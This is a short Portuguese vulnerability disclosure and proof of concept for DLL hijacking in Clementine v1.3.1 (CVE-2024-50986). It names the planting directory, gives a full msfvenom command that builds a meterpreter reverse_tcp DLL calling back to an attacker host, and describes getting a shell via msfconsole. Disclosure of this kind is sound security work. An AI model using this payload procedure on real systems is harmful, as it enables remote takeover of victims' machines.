CVE-2024-50986: Exploit de Sequestro de DLL para Clementine

Descrição: Um problema no Clementine v.1.3.1 permite que um atacante local execute código arbitrário através de um arquivo DLL manipulado.

Versão Afetada: Clementine v.1.3.1

Pesquisador: Utkarsh (r1971d3) LinkedIn

Link NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-50986

Tipo de Vulnerabilidade: Caminho de Pesquisa Não Confiável

Componente Afetado: QUSEREX.DLL

Exploit de Prova de Conceito

Vetor de Ataque

Para explorar esta vulnerabilidade, um atacante deve criar uma DLL maliciosa chamada QUSEREX.DLL e colocá-la no diretório: C:\Users<username>\AppData\Local\Microsoft\WindowsApps. Quando o aplicativo Clementine é iniciado, ele carregará a DLL maliciosa, executando o código do atacante.

Descrição e Uso

1. Use o Process Monitor (procmon) com filtros apropriados para identificar DLLs ausentes e rastrear onde o Clementine está procurando por elas no Sistema Operacional Windows

2. A pesquisa revela que a DLL "QUSEREX.DLL" está sendo procurada em vários locais, incluindo C:\Users<username>\AppData\Local\Microsoft\WindowsApps\

3. Uma DLL maliciosa é criada usando msfvenom com o seguinte comando:

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. Esta DLL maliciosa é colocada no diretório C:\Users<username>\AppData\Local\Microsoft\WindowsApps, onde é carregada com sucesso pelo Clementine.

5. Usando msfconsole, um payload em estágio é enviado através do reverse shell, resultando em uma sessão de shell meterpreter sendo obtida no diretório C:\Program Files (x86)\Clementine\projectm-presets na máquina alvo.